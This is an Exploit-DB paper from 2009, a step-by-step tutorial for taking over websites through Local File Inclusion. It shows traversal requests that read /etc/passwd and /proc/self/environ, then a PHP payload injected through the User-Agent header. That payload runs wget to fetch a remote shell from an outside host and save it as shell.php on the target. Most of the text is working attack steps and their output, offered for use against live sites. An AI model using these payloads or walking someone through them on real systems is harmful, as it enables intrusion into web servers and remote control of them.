shell via LFI - proc/self/environ method

EDB-ID:

12886

CVE:

N/A


Author:

SirGod

Type:

papers


Platform:

Multiple

Date:

2009-08-04


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>>>>>>>>>>>>>>> Shell via LFI - proc/self/environ method <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>            Author : SirGod               <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>           www.insecurity-ro.org          <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>              www.h4cky0u.org             <<<<<<<<<<<<<<<
>>>>>>>>>>>>>>>             sirgod08@gmail.com           <<<<<<<<<<<<<<<
 
1 - Introduction
2 - Finding LFI
3 - Checking if proc/self/environ is accessible
4 - Injecting malicious code
5 - Access our shell
6 - Shoutz
 
>> 1 - Introduction
 
  In this tutorial I show you how to get a shell on websites using Local File Inclusion vulnerabilities and 
injection malicious code in proc/self/environ.Is a step by step tutorial.
 
>> 2 - Finding LFI
 
   - Now we are going to find a Local File Inclusion vulnerable website.So we found our target,lets check it.
  
        www.website.com/view.php?page=contact.php
         
   - Now lets replace contact.php with ../ so the URL will become
      
        www.website.com/view.php?page=../
         
     and we got an error 
      
        Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
         
     big chances to have a Local File Inclusion vulnerability.Let's go to next step.
     
  - Now lets check for etc/passwd to see the if is Local File Inclusion vulnerable.Lets make a request :
       
        www.website.com/view.php?page=../../../etc/passwd
         
     we got error and no etc/passwd file 
  
        Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
     
     so we go more directories up
     
         www.website.com/view.php?page=../../../../../etc/passwd
         
    we succesfully included the etc/passwd file.
     
      root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
 
>> 3 - Checking if proc/self/environ is accessible 
      
   - Now lets see if proc/self/environ is accessible.We replace etc/passwd with proc/self/environ
   
         www.website.com/view.php?page=../../../../../proc/self/environ
         
       If you get something like        
       
     DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
   
        proc/self/environ is accessible.If you got a blank page,an error proc/self/environ is not accessible or the OS is FreeBSD.
 
>> 4 - Injecting malicious code     
         
   - Now let's inject our malicious code in proc/self/environ.How we can do that?We can inject our code in User-Agent HTTP Header.
    Use Tamper Data Addon for Firefox to change the User-Agent.Start Tamper Data in Firefox and request the URL :
     
      www.website.com/view.php?page=../../../../../proc/self/environ
      
     Choose Tamper and in User-Agent filed write the following code : 
     
        <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
         
    Then submit the request.
     
     Our command will be executed (will download the txt shell from http://hack-bay.com/Shells/gny.txt and will save it as shell.php in the 
website directory) through system(), and our shell will be created.If don't work,try exec() because system() can be disabled on the webserver from php.ini.
 
>> 5 - Access our shell
 
    - Now lets check if our malicous code was successfully injected.Lets check if the shell is present.
     
       www.website.com/shell.php
       
       Our shell is there.Injection was succesfully.
 
>> 6 - Shoutz    
 
   Shoutz to all members of www.insecurity-ro.org and www.h4cky0u.org.

# milw0rm.com [2009-08-04]